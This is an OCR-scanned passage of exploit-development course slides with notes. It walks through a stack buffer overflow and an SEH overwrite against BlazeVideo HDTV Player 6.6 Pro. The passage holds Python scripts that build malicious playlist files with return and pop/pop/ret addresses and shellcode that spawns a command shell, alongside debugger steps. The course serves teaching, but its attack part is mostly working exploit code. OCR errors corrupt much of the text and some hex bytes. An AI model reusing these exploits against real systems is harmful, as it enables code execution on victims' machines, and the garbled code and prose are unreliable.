payload = "A" * 260 + rp + "\x90" * 20 + sc #We simply swapped "'B" 
*20' with "sc" 

Modify the payload line in your script to: 

"call esp" address, packed into little endian format. 
#This is our selected rp = struct.pack('<L', Ox6034be03) 

Next, add the line: 

#This will import the struct import struct 
module ... 

Update the Script and Add Shellcode 
We must now go back to our script and make somc updates. At the top of your "blaze _ 1.py" Script, 
type (You can cxcludc thc comments.): 

• We must update the script with our "call esp" 
address, shellcode, and update our payload line: 
- Add this line at the top of your script: import struct 
- Add the line: rp = struct. pack ( '<L · , Ox6034be03) 
- Modify the payload line to: 

payload = ··A" * 260 + rp + "\x90 .. * 20 + sc 
- Shellcode to spawn a shell is in your 660.5 "Blaze" folder, 

titled "shellcode_cmd.txt" 
- Copy the contents of that file into your script 

Update the Script and Add Shellcode 
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SC = ( 
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" 
"\x52\xOC\x8B\x52\xl4\x8B\x72\x28\x33\xC9" 
"\xB1\x18\x33\xFF\x33\xCO\xAC\x3C\x61\x7C" 
"\x02\x2C\x20\xC1\xCF\xOD\x03\xF8\xE2\xF0" 
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" 
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" 
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" 
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" 
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" 
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" 
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" 
"\x8B\xOC\x4E\x8B\x72\xlC\x03\xF3\x8B\xl4" 

import struct 
file = 'blaze_l.plf' 

Final Script 
Bclow is thc complctcd script. Your scripl should look idcntical, unlcss you arc using a different 
addrcss to ovcrwrite thc rcturn pointer. 

rp = struct.pack('<L', Ox6034be03) #jmp or call esp 
x = open(file, 'w') 
payload = "A" * 260 + rp + "\x90" * 20 + sc 
x.write(payload) 
print "File %s" %file, "created!" 
x. close () 

SC = ( 
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" 
... # *********Truncated for space 
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" 
"\x24\x20\x57\xFF\xDO") 

import struct 
file = 'blaze_l.plf' 

• Execute the final script to get the new "plf" file 

Final Script 
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rp = struct.pack( '<L', Ox6034be03) #jmp esp 
x = open(file, 'w') 
payload = "A" * 260 + rp + "\x90" * 20 + sc 
x.write(payload) 
print "File %s" %file, "created!" 
x.close () 

"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" 
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" 
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" 
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" 
"\xFF\xDO\x68\x65\x73\x73\x01\x8B\xDF\xFE" 
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" 
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" 
"\x24\x20\x57\xFF\xD0") 
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• Press F2 on the highlighted address toset a 
breakpoint (Accept any warnings) 

0 c.ncel 1 

Set a Breakpoint on "call esp" 
So wc can sec thc codc exccutc and undcrstand morc clcarly what thc "call esp" instruction is doing, 
wc will sct a brcakpoint. First, start thc BlazcHDTV program back up and auach to it with the 
debuggcr. With thc program running, not suspcndcd, click in anywhcrc in thc disassembler pane in 
Imrnunity Debugger and press ctrl+g to bring up thc box shown on the slidc. This box allows you to 
cntcr in an addrcss and jump to that location. Paste in thc addrcss of the "jrnp csp" or "call csp" 
instruction you arc using. In our cxarnplc, you sce wc arc placing thc address we got carlicr from 
Configuration.dll, "Ox6034bc03." Click "OK" and you should bc takcn ro that location. With thc "jmp 
csp" or "call csp" instruction highlightcd, press F2 to sct thc breakpoint. You may gct a message 
saying that this addrcss is outside of thc codc scgmcnt. Just accept the mcssagc and ignorc it for now. 

• Start the program back up and attach to it with 
Immunity Debugger 

• With the program running, press ctrl+g to bring up 
the following window, and enter the "call esp" 
address. (dick OK): Eiiiil 

,~OIQD4be(IJ----.---------------------. 

Set a Breakpoint on "call esp" 
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Open the "plf" File 
Next, opcn up thc malicious "plf" filc and lct it hit thc brcakpoint. If your brcakpoint is not hit, verify 
that your codc is corrcct and that thc brcakpoint is properly sct. Press F7 at thc brcakpoint to do a 
singlc-stcp. The disassembly panc should now show thc stack! Spccifically, it should be pointing to 
your four NOPs as shown in the slide image. Wc havc now provcn that we have control and 
succcssfully rcdircctcd execution to our payload. 

p 
NOP NOP 
CLD 
XOR FDX 

• Open the malicious "plf" file 
-We hit the breakpoint in the debugger 
- Press F7 to single step and take the jump 
-The stack should appear in the disassembly 

pane, showing the NOP's 
-We have no gained execution of our code! 

Open the "plf" File 
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Shellcode Execution! 

Close the program and debugger. Start up thc BlazeHDTY exccutable from your Desktop without thc 
dcbugger. Open up the malicious "blazcj l.plf" filc. lf succcssful, a command shcll should spawn with 
thc path of whcrc the BlazeHDTV program is locatcd! At this point you have succcssfully completed 
thc exercise! 

''Pi-e1...., Pilee,11.reUideo~lezeUideo HDTU Pl&Jl'lr '·' Prerosaional> 

• Close the debugger and start up BlazeHDTV from 
the Desktop 

• Open the malicious "blaze_Lplf" file 
• A command shell should appear with the path of 

the BlazeHDTV application! 

Shellcode Execution ! 
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Exercise: Basic Stack Overflows Thc Point 
The purpose of this exercise was to idcntify a vulnerable Windows application, gct control ofthe 
instruction pointer, identify modulcs not compiled to participatc in ASLR and othcr cxploit 
mitigations, locate a trampoline, and finally, gain shellcodc cxecution. 

• Identify a buffer overf1ow in a vulnerable 
Windows program 

• Gain control of the instruction pointer 
• Identify modules not participating in ASLR or 

other exploit mitigation controls 
• Locate a trampoline 
• Gain shellcode execution! 

Exercise: Basic Stack Overflows 
The Point 
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Your mstructor "111 walk y ou through this up to a certain point prior to handing 
O\ er control. You may usc Window :-. 7 •·sp I" 32-bit or 64-bit 

Your instructor will walk you through this one so that you clearly understand the SEH overwrite technique and 
then hand over control to you. 

Exercise: SEH Overwrites 
In this exercise you will continue to work with the Blazevideo DTY program. The goal ofthis exercise is to 
overwrite the Structured Exception Handler (SEH) chain to gain control oflhe prograrn and get shellcode 
execution. You will use a sequence of code known as "pop/pop/ret." We will also again get around ASLR by 
locating a static rnodule, as weil as dcfeat the SafeSEH exploit mitigation control. 

• Target: BlazeVideo HDTV Player 6.6 Pro 
- An HDTV player for Windows 
- Version 6.6 is vulnerable to a stack overflow 
- Vulnerability discovered in earlier versions as far back as 2008 by 

ThE gObl!N, flO flOw, and others ... 
• Goals: 

- Perform a Structured Exception Handler (SEH) overwrite to get 
shellcode executlon 

- Use the pop/pop/ret trick 
- Defeat the SafeSEH protection 
- Get around ASLR 

Exercise: SEH Overwrites 
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Our goal will bc to ovcrwritc these pointers which should givc us control for thc proccss during an 
cxccption. 

Normal SEH Behavior 
On this slidc is a scrccnshot of the stack of a thread from a random dcbugging scssion. At thc top, in 
thc sccond line down markcd as SE handlcr to thc right, is a pointcr (Ox7776EOED) to some exccption 
handling code. lf that handlcr can handle whatcvcr cxccption is bcing cxpcricnced, then the SEH 
process should stop at that point. 1 f thc handler cannot handle thc exccption, execution of thc SEH 
proccss will continue by going to NSEl 1 pointer to the ncxt handler on the stack. As you can sec at thc 
top of thc imagc, thc vcry first DWORD marked with NSEH above it points to addrcss Ox0507FFC4. 
Thc arrow points down to that location on thc stack, which is thc ncxt handlcr's NSEH position. This 
onc is marked with OxFFFFFFFF, indicating thc end of thc chain. Thc addrcss right below 
OxFFFFFFFF is the final SE Handlcr on this thrcad's stack. This one happens to point into NTDLL. 

, odc. II it can ·1 
handle thc cxccption, 
go to thc ncxt onc. 

NSEll points 
d1)\\ n the stack 
to thc next 
hundlcr's 
NSEll ru>sition. 

Ptr to SE Händler 

?7?6E8ED 
126E4816 
88888882 e ... 

8?PP94 ö •+ 
1'3?3C4.5 E<?v 
llHBIBI ..•. 

l?PPM 1: •+ 
??7B3?FS J?<u 
88371"28 c;», 
68139FA2 6/!!' 
998881111 •. - • 
Wllli!UO •.•• 
083?1628 <-?. --··· ==:~:::: Ptrto Sß Hnndler 
ese?PPAI a •+ code. - -- _,...... 
PPPPPPPP End of SEM chain 
?7?6E8ED !!.!!l.SF. handler 

• This slide shows a small SEH example 

Normal SEH Behavior 
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Thc new PLF file crcatcd by this script will simply writc 700 "A" charactcrs into the vulnerable buffer, 
which should go weil beyond thc rcturn pointcr position, hopcfully ovcrwriting thc first SE Handler on 
thc stack. 

x. close () 

x = open (file, 'w') 

payload = "A" * 700 
x.write(payload) 
print "File %s" %file, "created!" 

file = 'blaze_2.plf' 

• Our goal is to overwrite the SE handler 

x = open(file, 'w') 
payload = "A" * 700 
x.write(payload) 
print "File %s" %file, "created!" 
x.close()~~~~~~~~- 

Creating a New Script 
Lct's bcgin thc tcchniquc of ovcrwriting thc SEH chain by crcating a ncw script in Python. Inside of 
Python IDLE, creatc and savc a ncw script callcd, "blazc_2.plf." Populatc thc script with thc following 
codc: 

file = 'blaza_2.plf' 

• Create and save another script in Python, naming it 
"blaze_2.py" 

• Populate it with the following: 

Creating a New Script 
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At this point wc havc simply causcd an acccss violation by ovcrwriting thc rctum pointer as wc did in 
thc prcvious cxcrcisc. Rcmcmbcr, our currcnt goal is to ovcrwritc thc first SE Handler on thc stack, 
which is why wc wrotc 700 A 's. With the acccss violation still showing, look at thc stack panc. Scroll 
downward towards high memory until you sec thc rcsult shown in thc bottom slidc imagc. As you can 
sec, we wrotc enough A 's to ovcrwrite thc Pointer to next SEH (NSEH) and thc SE Handlcr. 

l~~~b~ 41414141 AAAA 12F370 41414141 AAAA Pointer to next SEH 12P374 41414141 AAAA SE handler 12P3?8 41414141 AAAA1 

Catching the Crash 
Repeat the steps from the previous exercisc on your Windows 7 VM to start the BlazeHDTV 
application, and then attach to it with Jmmunity Debugger. Oncc thc program is up and running in thc 
debuggcr, usc BlazcHDTV to opcn up thc "blazc_2.plf" filc that you gcncratcd with your "blazc_2.py" 
script. You should gct thc samc rcsults shown on thc slidc, with ElP showing "41414141." 

• We overwrote the return pointer as we did 
previously, causing the access violation 

• Look at the stack 1 We also overwrote the handler! 

• As we did previously, with Immunity Debugger 
attached to the BlazeHDlV process, open up the 
"blaze_2.plf" file 

• We get the following results, as we did before: 
!~1 414 41411 Access violation when executing (41414141] 

Catching the Crash 
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Let's usc Mona to dctcrminc thc numbcr of bytcs necded as in pul lo rcach thc SE Handlcr location. 

Passing the Exception 
Sincc wc causcd an acccss violation by overwriting thc rcturn pointcr, thc ncxt stcp that thc application 
will takc is to call thc first SE Handlcr whosc addrcss rcsidcs as a pointcr on thc currcnt thrcad's stack. 
The pointcr ro this initial stack location is dctcrmined by dcrcfcrcncing FS:[OxO] in thc TIB. This will 
point to thc location on thc stack wherc wc ovcrwrotc NSEH and thc SE Handler. By passing thc 
cxception with Shift+F9 in thc dcbugger, wc will again gct control of thc instruction pointer. 

• Since we caused an exception overwriting the 
return pointer, control will now be passed to the 
first SE Handler, pointed to by FS: [OxO] 
- You will not always be able to get control of the return 

pointer as you may cause a violation prior to reaching 
the function's epilogue 

- Something like a read or write access violation may 
occur, making the SEH overwrite technique mandatory 

- Press Shift+F9 to pass the exception and you will see 
that EIP is still pointing to Ox41414141 

- Let's create another pattern with Mona 

Passing the Exception 
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Save thc modificd filc and execute the script to gcncratc the ncw "blaze_2.plf' file. Remember, if thc 
program is still opcn in thc dcbugger and accessing thc cxisting PLF filc, you will not bc ablc to writc 
out a ncw onc, resulting in a Python crror mcssage. Be surc to closc thc BlazcHDTV program and thcn 
cxccutc thc script to gcncratc thc ncw fi lc. 

payload = "Aa0Aa1Aa2Aa3Aa4A " #Note that the pattern is truncated 
as it is too large to display. 

After cxecution, go to your working dircctory for Mona output and copy the pattcm over to your 
"blaze_2.py" script, updating the payload linc: 

!mona pattern_create 700 

- Save the modified script and execute it to create a new 
\\blaze_2.plf" file 

Generale a New Pattern 
As we did in thc prcvious cxcrcisc, lct's use Mona io gencratc a pattem that rcachcs thc SE IIandler on 
the stack. In the lmmunity Debugger command bar, run the following: 

,, payload = "Aa0Aa1Aa2Aa3Aa4A 

• As we did in the previous exercise, we will generate 
a new pattern to reach the SE Handler 
- In the Immunity Debugger command bar, run the 

following: •mona pattern_create 700 
- Go to the pattern.txt file written out to your working 

directory 
- Copy the pattern over to your \\blaze_2.py" script, 

updating the payload line 

Generate a New Pattern 
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As you can see, it is 612 bytcs to rcach thc SE Handler on thc stack! 

IThe output in the log Pattern Ox41347541 found at position 612 
window from Mona! 

#Our input to Immunity Debugger's !mona pattern_offset 41347541 
command bar 

Dctcrmining thc Size 

Altach with thc dcbugger to a frcsh instancc of BlazcHDTV. With thc program running insidc thc 
dcbugger, open up thc ncwly gcncrated "blazc_2.plf." You should get the expectcd access violation as 
you overwrote the rctum pointer. Part of the pattem is now in EIP; howevcr, this is thc samc one wc 
already rccordcd in thc prcvious excrcisc at 260-bytcs. Wc rnust now pass thc cxccption so that thc 
first SE Handler on thc stack is callcd. Press Shiftt-F9. You should now sec a new part ofthe pattcm in 
EIP, showing as "41347541." With this pattem in EIP, run the Mona "pattem_ofTset" command to 
dctcrminc thc numbcr of bytcs to rcach the SE Handler pointcr on the stack: 

Pattern Ox41347541 found at position 612 

• Attach to the running program with the debugger 
- Open up the newly created "blaze_2.plf" file 
- You should reach the first crash with: 1 ~!- 3?6941361 
- This is expected as you have just overwritten the return 

pointer and caused an exception 
- Press Shift+F9 to pass the exception 
- The overwritten handler should have been called, 

resulting in:~ 4t 34?S41 

- Run the "pattern_offset'' command 1 612 bytes! 
!mona pattern offset 41347541 

Determining the Size 
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This will ovcrwritc thc rctum pointcr with A 's, and thc SE Handlcr with "BBBB" (Ox42424242) if 
succcssful. Savc thc script, cxccutc it to gcncratc thc ncw PLF file, and then attach to a frcsh instancc 
of BlazcHDTV with the debuggcr. Open up thc "blazc _ 2.ptr' filc with BlazcHDTV and you should 
gct thc Access Violation with EIP showing "41414141." Again, this is cxpcctcd as wc overwrotc thc 
rctum pointcr. Fccl free at this point to look at the stack panc, scrolling down towards high mcmory, to 
sec if your "Ox42424242" al igns with thc SE Handlcr position. Press Shi ft+F9 to pass thc cxccption. 
You should achicvc thc rcsult shown on thc slidc with EIP pointing to "42424242." 

payload = "A" * 612 + "BBBB" 

Confirming Control 
Lci's now vcri f y that 612-bytcs does in fact gct us to thc SE Handlcr. Go back to your "blazc _ 2.py" 
script and modify the payload line as such: 

- This will overwrite the return pointer with A's, and the SE 
Handler with "BBBB" (Ox42424242) 

- Save the script and execute it to generate the new file 
- Restart the program and attach with Immunity Debugger 
- Open up the "blaze_2.plf" file. You should get: 

C- 4\ 4l4t41 

- Press Shift+F9 to pass the exception. Succe_ss_!_~ 
[EIP 42424242 I 

payload c: ''A" • 612 + ''BBBB" 

• Let's update the script to confirm our findings 
- Change the payload line in your script to: 

Confirming Control 
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Ncxt steps: 

• Undcrstand morc about thc handling proccss. 

• Usc that knowlcdgc to gain control. 

Next Steps ... 
So far wc havc: 

• Confirmcd that we can ovcrwrite thc handlcr. 

• Gcncratcd a pattcrn to dctcnninc thc numbcr of bytcs until rcaching the handlcr. 
• Vcrificd that wc havc precisc control ovcr thc handlcr starting at 612-bytes. 

• So far we have: 
- Confirmed that we can overwrite the handler 
- Generated a pattern to determine the number of 

bytes until reaching the handler 
- Verified that we have precise control over the 

handler starting at 612-bytes 
• Next steps: 

- Understand more about the handling process 
- Use that knowledge to gain control 

Next Steps ... 
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payload = "A" * 612 + "BBBB" + "\x90" * 20 + "C" * 20 

Modify thc payload linc in your "blazc_2.py" script to match thc following, and cxccutc it to gcncratc 
thc new "blaze _ 2.plf' file: 

Setting Up Our Script 
Lct's sct our script up to layout our data in thc stack ro makc it casicr ro dctcrminc our next stcps. For 
now, we will not use shcllcodc, but instcad just put somc C's in as a place holder. Whcn wc pass thc 
cxccption wc will sec the layout of a special frame uscd on the stack for exccption handlcrs. 

• Let's take a look at the layout on the stack 

• Now that we have confirmed control of the 
instruction pointer by overwriting the SE Handler: 
- Let's update the script with some placeholder data so 

that we can see the layout in the debugger 
- We will also see the special frame that is created on the 

stack during the exception handler call 
• Modify the payload line in your "blaze_2.py" script 

to match the following, and execute it! ------~ payload = "A" * 612 + "BBBB" t "\x90" * 20 + "C" * 20 

Setting Up Our Script 
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Viewing the Layout 

Start up thc BlazcHDTV program, reattach with thc dcbugger, and opcn the ncw "blazc_2.plf' file, 
You will gct the cxpcctcd acccss violation from ovcrwriting thc rcturn pointcr. Don 't pass thc 
exccption yct. First, scroll down in thc stack panc and find thc SE Handlcr. lt should look cxactly like 
the imagc on thc slidc. You can sec that wc ovcrwrotc the SE Handlcr with Ox42424242, followcd by 
our NOPs, Ox90909090, and our C's, Ox43434343. 

41414141 AAAA 41414141 AAAA 41414141 AAAAIPointer to next SEH record 42424242 BBBB SE handler 
99999999 tttt 
99999998 tttt 
98989998 tttt 
98989998 tttt 
99999898 ttt~ 43434343 cccc 43434343 cccc 

• Start up the BlazeHDTV program, reattach with the 
debugger, and open the new "blaze_2.plf' file 
- During the access violation with EIP pointing to 

"41414141," scroll down on the stack to the SE Handler 
- You should see the following: 

Viewing the Layout 



108 

Thcrc is a lot happening on this slidc. Thc top imagc on thc left shows a snippct of thc stack at thc 
point when control was passcd to thc cxccption handlcr. This can bc thought of as the stack framc for 
the cxception handlcr. As bcing pointcd out on thc slide, ESP+8 is holding a pointcr back to thc NSEH 
position on thc stack associatcd with this SE Handler call. This will bccome kcy in thc tcchnique wc 
will usc to exploit thc program. To dump out thc contcnts of thc pointcr at ESP+8, right click on thc 
valuc hcld at that position and sclcct thc mcnu option, "Fellow in Stack." You should get thc sarnc 
result as shown in thc bottom imagc. In our cxamplc, The address "OxOO l 2F370" is dumpcd and 
matches thc valuc hcld at ESP+8. You should quickly notice that it is pointing to the NSEH position of 
thc handlcr wc ovcrwrotc. Wc can sec our data durnped on thc scrccn! 

Pass thc Exception 
Pass thc cxccption by prcssing Shift+F9. EIP should now bc pointing to "42424242." 

LSP+8 holds a poinicr to 
NSFll 

( Follow in Stack = 

• Pass the exception with Shift+F9 
- EIP should now be pointing to "42424242" 
- Take a look at where ESP is pointing at this point: 

Pass the Exception 
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ESP„ 0012EE40 
0012EE44 
0012EE48 

) 

To do this, wc nccd to find thc sequencc of instructions known simply as pop/pop/rct. Remcmbcr, thc 
POP instruction takcs thc ncxt DWORD, or QWORD if in a 64-bit application, and placcs it into thc 
designatcd rcgistcr. In thc imagcs on the slidc, to the lcft, is an examplc of thc instruction pointer 
pointing to a mcmory address containing a "pop edi" instruction. This would takc thc currcnt value 
bcing pointcd to by ESP, which is currcntly 777971 B9, and placc it into EDI. ESP would thcn bc 
adjustcd to OxOO 12EE40 as shown on thc ncxt slidc. 

77797189 
0012EF28 
0012F370 

IP„ pop dl 
p p bJ 
etn 

Pop/Pop/Ret ( 1) 
So how can wc usc this bchavior to our advantage? Wc alrcady dctcrmincd that during thc call to thc 
handler, ESPt-8 holds a pointer to thc stack location whcrc NSEH rcsidcs. Wc control thc data therc. 
What if wc could pop thc DWORD at ESP+O offthc stack, and thcn pop thc DWORD at ESP+4 off 
thc stack, adjusting ESP to thc location of thc NSEH pointcr, originally at ESP+8? Wc could thcn use 
thc RETN instruction to retum "EIP" to thc stack location of NSEH, interprcting what is thcrc as 
instructions, gaining us cxecution! 

si:O 
di:777971B9 
bp:0012EEF2 
edx:O 
sp:0012EE40 
bx:FFFFFFFF 

• How can we exploit the behavior of the stack 
layout during the handler call? 

• What if we: 
- Found a memory address holding the sequence of 

instructions, "pop <reg>, pop <reg>, ret 

Pop/Pop/Ret (1) 
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0012EE40 77797189 
ESP„ 0012EE44 0012EF28 

0012EE48 0012F370 

si:O 
di:777971B9 
bp:0012EF28 
edx:O 
esp:0012EE44 
ebx:FFFFFFFF 

Pop/Pop/Ret (2) 
Wc are now 4-bytcs closcr to thc pointcr to NSEl l's position on thc stack. The instruction pointcr is 
now pointing to thc mcmory addrcss holding the instruction "pop cbp." This will causc thc valuc bcing 
pointed to by ESP, which is 0012EF28, tobe placcd into thc EBP register. ESP will now be adjustcd 
down four more bytes, as shown on the ncxt slidc. 

• The first pop instruction "popped" 77797189 into 
the EDI register 

• The second pop instruction is "popping" 0012EF28 
into the EBP register as shown below: 

Pop/Pop/Ret (2) 
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0012F 6C 41414141 
0012F370 41414141 Po nt r to n xt SEH record 
0012F374 424l424l SE h ndler 
0012F378 90909090 
0012F37C 90909090 

pop eai 
pop eb1 

IP-retn 
1 
1 
1 
1 !... __ .. 

vu.i2EE<tu 
0012EE44 

ESP- 0012EE48 

) 

Pop/Pop/Ret (3) 
Thc instruction pointcr now points to thc mcmory address of the "rein" instruction. ESP points to thc 
addrcss on thc stack holding the pointcr to NSEH's position. The dottcd linc undcr "IP" on thc lcft 
points to the address whcrc cxccution will jump whcn rctuming. We arc much closcr to shcllcode 
execution. 

971B9 
0012EF28 
0012F370 

esi:O 
edi:777971B9 
ebp:0012EF28 
edx:O 
esp:0012EE48 
ebx:FFFFFFFF 

• The "ret" instruction will now cause EIP to 
return to 0012F370 (NSEH Location) and 
execute what's there as instructions! 

Pop/Pop/Ret (3) 
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Thc problcm in this examplc is that havc not yct obtaincd thc addrcss of a pop/pop/rct scqucncc to 
make this a rcality. Let's move on and find a usablc addrcss. 

Pop/Pop/Rct ( 4) 
Had this cxamplc actually occurrcd, thc instruction pointer would bc pointing to thc stack position of 
NSEH, as shown on thc slidc. Sincc wc ovcrwrotc this location with A's in ordcr to get to the SE 
Handler, the hex-ASCII valuc for "A" (Ox4 I) is intcrprctcd as thc instruction "INC ECX." This is a 
single-bytc instruction, and as you can sce is bcing cxccutcd onc at a time. We would thcn rcach our 
B's, which havc a hex-ASCII value of"Ox42," and is interpreted as the singlc-bytc instruction "INC 
EDX." Finally. wc would reach our NOP's (Ox90). 

IP ... 0012F370 
0012F371 4 INC ECX 
0012F372 41 INC ECX Let 's lind thc address 
0012F373 41 INC ECX of a pop pop rct codc 
0012F374 42 INC EDX sequcnce and continue 
0012F375 42 INC EDX our attack to provc our 
0012F 6 4 INC EDX assumption. 
0012F377 42 INC EDX 
0012F378 90 NOP 
0012F379 90 NOP 
0012F37A 90 NOP 

• Now that the instruction pointer is pointing to the stack 
address of where NSEH should be located, it will execute 
what is held there as code, which we control ! 

Pop/Pop/Ret (4) 
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Thc "sch" command causes the Mona script to look for pop/pop/ret instructions in thc cxccutable 
memory of the dcsignated modulc, providing the results in the log window and writing thern to your 
working dircctory. On the slide is a snippet of thc rcsults. We want to usc one that does not includc an 
operand on the end, such as "rct 04," as this will adjust thc stack pointer furthcr down the stack. As 
you can see on the slide, therc are scvcral without an operand that wc can choosc. Wc will usc the 
address Ox603236c6. Fecl frcc to pick any address that works for you. 

!mona seh -m configuration.dll 

With BlazclIDTV loaded into thc debuggcr, run thc following command: 

Locating a Pop/Pop/Ret Sequence 
Wc will usc Mona to find a pop/pop/rct scqucnce. Sincc ASLR is running on Windows 7 and 
Windows 8, let 's usc thc samc staue modulc as beforc, which was "Configuration.dl 1." 1 f you nccd to 
find a new onc, simply run thc "lrnona modulcs" command and find onc that is not rcbased. 

• The "seh" command looks for pop/pop/ret's 
• Below is a snippet of the output in the log window 
• tet's use one without an operand value so ESP is not 

adjusted 8x68318a93 : pop esi 1 pop ecx 1 ret 04 [b 0x6032345a: pop ecx 1 pop ecx 1 ret 8x60323482 : pop ecx 1 pop ecx 1 ret 
8x603236c6 : ecx 1 ecx 1 ret 

• Let's use Mona to find a pop/pop/ret sequence 
• Since ASLR is running on Windows 7 and 8, lers use the 

same static module as before - Configuration.dll 
• With the BlazeHDTV program loaded into the debugger, run 

the following from the command bar: 
!mona seh -m configuration.dll 

Locating a Pop/Pop/Ret Sequence 



114 

Save the script and executc it to gcnerate thc ncw "blazc_2.plf' filc. 

x = open ( file, 'w') 
payload = "A" * 612 + seh + "\x90" * 20 + "C" * 20 
x.write(payload) 
print "File %s" %file, "created!" 
x. close () 

file = 'blaze_2.plf' 
seh = struct.pack('<L', Ox603236c6) 

import struct 

Updating Our Script 
lt is now time to update your Python script to include the pop/pop/ret address discovered with Mona: 

• Save it and execute it to create the new "blaze_2.plf" file 

x = open (file, 'w') 

lpayload = "A" * 612 + seh + "\x90" * 20 + "C" * 20 
x.write(payload) 
print "File %s" %file, "created!" 
x.close () --~ 

file = 'blaze_2.plf' 
seh = struct.pack('<L', Ox603236c6) 

tmport struct 

• Update your "blaze_2.py" script to include the following: 

Updating Our Script 
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Set a Brcakpoint 
So that you can sec thc bchavior of thc pop/pop/rct scquencc, sct a brcakpoint on the addrcss. Make 
sure that BlazcHDTV is up and running insidc thc dcbuggcr. Click anywhcrc insidc the disasscmblcr 
pane and press ctrl+g. This will bring up thc box that allows you to jump to an addrcss. Enter thc 
addrcss you arc using for thc pop/pop/rct scqucncc. In our cxample, we are using Ox603236c6. Ctick 
on thc first addrcss of the sequcncc and press F2 to sct thc brcakpoint. 

t.ncel 1 

• Attach to the BlazeHDTV program with Immunity Debugger 
and ensure it is running 

• Click anywhere in the disassembler pane and press ctrl+g to 
bring up the address jump box 

• Enter your pop/pop/ret address from Mona e.g. Ox603236c6 
• Click on the first address and press F2 to set a breakpoint 

Set a Breakpoint 
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Trigger the Breakpoint 
With the breakpoint set, open up the "blaze_2.plf' filc with BlazeHDTV. You will have to pass the 
cxception generated by the retum pointer overwrite. To do this, press Shi ft+F9 as usual. You should 
now reach your breakpoint. Press F7 three times to single-step through the pop/pop/ret instructions. 
When doing this, watch how the data is popped off of the stack position where ESP is pointing and 
into the designated rcgistcrs, When you get to the "RETN" instruction and press F7 to execute it, the 
stack addressing should now appear in the disassembler pane as EIP is now pointing to that location. 
Press F7 to single-step through the stack data bcing interprctcd as instructions. Sec if you rcach your 
NOP instructions (Ox90). 

• Open the "blaze_2.plf" file with BlazeHDTV 
- You will have to pass the exception generated by 

overwriting the return pointer - Press Shift+F9 
- You should hit the breakpoint! 
- Press F7 three times to single-step through the 

pop/pop/ret and watch the registers 
- On the "RETN" instruction the stack should appear in the 

disassembler pane 
- Try pressing F7 to single-step through the instructions 

and see if you reach your NOP's (Ox90) 

Trigger the Breakpoint 
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Crash! 
In our cxamplc, wc didn't makc it to the NOP's, so wc would not reliably gct shcllcode cxecution. The 
rcason for the crash is that thc addrcss wc used to ovcrwritc thc SE Handlcr, thc onc that points to thc 
pop/pop/rct scquencc, is now bcing intcrpretcd and cxccutcd as codc. This may sornctirncs cause no 
issuc; howevcr, the sclcctcd addrcssing will often be intcrprctcd as illegal instructions or cause othcr 
issucs. In our casc, you can sec that at stack address Ox0012F374, the opcodc C6 exists, which is a 
piccc of our addrcss to thc pop/pop/rct scqucncc. This is not a valid opcodc and has cause thc program 
to crash. 

i 

Nett: You m-r atlow sttpp1n9 rnto unknown commtnds on 0111tons 1 
S«unty 

Oon'I know how to <ttp comm•nd •l •ddress 0012074. T 'Y to run 
chtngt EJP or pass ex«pt•on 10 pro9t0m. 

• We didn't make it. .. What happened? 

Crash! 
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Crash Solution! 
Thc solution with this tcchniquc is to usc a jump instruction. Wc arc currcntly ovcrwriting thc NSEH 
position with Ox4141414 l. Lct's usc the opcode for "JMP SHORT <N>," whcrc "N" is thc number of 
bytes we want to jump. Wc will use "EB 06," causing thc instruction pointer to jump six bytcs, just 
ovcr the SE Handlcr overwrite. The rcason we arc jumping six bytes instead of cight is that thc jump 
instruction itsclf is two bytcs. lt is shown on thc slidc imagc in bold font. As you can see, markcd by 
thc arrow, cxccution will jump succcssfully to our NOP's! 

POW! ;:....;;;;--------------' 

ncxt SEH record 414106EBJ> Pointer to 
42424242 SE handler 
90909090 
90909090 

001, ~ 4 414141 
0012F370 
001 F 74 
0012F378 
0012F37C 

• Instead of writing Ox41414141 into the NSEH 
position, which is interpreted as "INC ECX" we can: 
- Put in a "JMP SHORT <N>" instruction "EB 06" 
- We will use the value 6 as we want to jump past the SE 

Handler overwrite position to our NOP's! The instruction 
itself takes up two bytes, which is why we're not jumping 
8-bytes 

Crash Solution! 
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file = 'blaze_2.plf' 
SC= ( 
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" 
"\x52\xOC\x8B\x52\x14\x8B\x72\x28\x33\xC9" 
"\xB1\x18\x33\xFF\x33\xCO\xAC\x3C\x61\x7C" 
"\x02\x2C\x20\xCl\xCF\xOD\x03\xF8\xE2\xF0" 
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" 
"\xl2\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" 
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" 
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" 
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" 
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" 
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" 

import struct 

Fixing Our Script 
Now that wc havc a solution, lct's modify our "blazc_2.py" scripl. Bclow is thc full script. Usc thc 
same shcllcodc as wc did with thc prcvious cxcrcisc to spawn a shcll. 

x = open(file, 'w') 
payload = "A" * 608 + jmp + seh + "\x90" * 20 + sc 
x.write(payload) 
print "File %s" %file, "created!" 
x. close () 

fhe füll script is in 
thc notcs! 

seh s struct.pack('<L', Ox603236c6) 
jmp = "\xeb\x06" + "A" * 2 

import struct 
file = 'blaze_2.plf' 
SC = ( 
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\xSA\x8B" 
